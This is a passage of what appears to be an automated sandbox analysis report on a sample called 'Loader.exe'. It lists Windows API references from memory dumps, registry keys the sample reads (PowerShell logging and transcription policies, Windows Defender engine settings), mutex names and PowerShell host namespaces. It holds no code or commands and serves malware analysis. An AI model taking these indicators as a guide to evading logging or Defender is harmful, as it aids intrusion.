00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")35:T418,Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp")36:T40cb,"Machine\Software\Classes\CLSID" in Source: 00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004152.00000000.175960.B6503000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004152.00000000.175960.B6503000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004152.00000000.175960.B6503000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004152.00000000.175960.B6503000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004152.00000000.175960.B6503000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004152.00000000.175960.B6503000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006460.00000000.174701.01050000.00000004.mdmp 00000000-00006460.00000001.176621.01050000.00000004.mdmp 00000000-00006460.00000002.178540.01050000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006460.00000000.174701.01050000.00000004.mdmp 00000000-00006460.00000001.176621.01050000.00000004.mdmp 00000000-00006460.00000002.178540.01050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUsponseHandlingnd-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\CI\TRSData" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowFullDomainLiterals" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006460.00000000.174701.03170000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006460.00000001.176621.1BCA0000.00000004.mdmp 00000000-00006460.00000002.178540.1BCA0000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00008316.00000000.175421.1BB93000.00000002.mdmp 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00008316.00000000.175421.1BB93000.00000002.mdmp 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00008316.00000000.175421.1BB93000.00000002.mdmp 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\CI\TRSData" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocolteEKUsnsnseHandling" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowFullDomainLiterals" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SystemDefaultTlsVersions" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008316.00000000.175421.56000000.00000004.mdmp 00000000-00008316.00000001.177341.56000000.00000004.mdmp 00000000-00008316.00000002.179261.56000000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008316.00000000.175421.56000000.00000004.mdmp 00000000-00008316.00000001.177341.56000000.00000004.mdmp 00000000-00008316.00000002.179261.56000000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00008316.00000000.175421.56000000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp 00000000-00008316.00000002.179261.56400000.00000004.mdmp "\Software\Ca" in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp 00000000-00008316.00000002.179261.56400000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp 00000000-00008316.00000002.179261.56400000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp 00000000-00008316.00000002.179261.56400000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}Q" in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp 00000000-00008316.00000002.179261.56400000.00000004.mdmp "AL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp 00000000-00008316.00000002.179261.56400000.00000004.mdmp37:T487,"\Sessions\1\BaseNamedObjects\Local\SM0:6460:304:WilStaging_02" "Local\SM0:6460:304:WilStaging_02" "Local\SM0:6460:120:WilError_03" "SM0:6460:120:WilError_03" "\Sessions\1\BaseNamedObjects\SM0:6460:120:WilError_03" "\Sessions\1\BaseNamedObjects\Local\SM0:6460:120:WilError_03" "\Sessions\1\BaseNamedObjects\Local\SM0:8316:304:WilStaging_02" "\Sessions\1\BaseNamedObjects\Local\SM0:8316:120:WilError_03" "Local\SM0:8316:304:WilStaging_02" "Local\SM0:8316:120:WilError_03" "Local\ZonesLockedCacheCounterMutex" "Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" "SM0:8316:120:WilError_03" "Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\BaseNamedObjects\RasPbFile" "\Sessions\1\BaseNamedObjects\SM0:8316:120:WilError_03" "\Sessions\1\BaseNamedObjects\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" "\Sessions\1\BaseNamedObjects\Local\SM0:4152:304:WilStaging_02" "\Sessions\1\BaseNamedObjects\SM0:4152:120:WilError_03" "\Sessions\1\BaseNamedObjects\Local\SM0:4152:120:WilError_03"38:Tac3,Observed Namespace "System.Management.Automation.Host.Size" and Function ".ctor" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Coordinates" and Function ".ctor" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Rectangle" and Function "get_Bottom" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Rectangle" and Function "get_Top" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Rectangle" and Function "get_Right" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Rectangle" and Function "get_Left" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.BufferCell" and Function ".ctor" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.PSHostRawUserInterface" and Function "get_WindowTitle" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Coordinates" and Function "set_X" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Coordinates" and Function "set_Y" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Size" and Function "set_Height" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.Size" and Function "set_Width" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.PSHostRawUserInterface" and Function ".ctor" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.ChoiceDescription" and Function "get_Label" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.ChoiceDescription" and Function "get_HelpMessage" in "Loader.exe" Observed Namespace "System.Management.Automation.Host.KeyInfo" and Function "set_VirtualKeyCode" in "Loader.exe" Observed Namespace 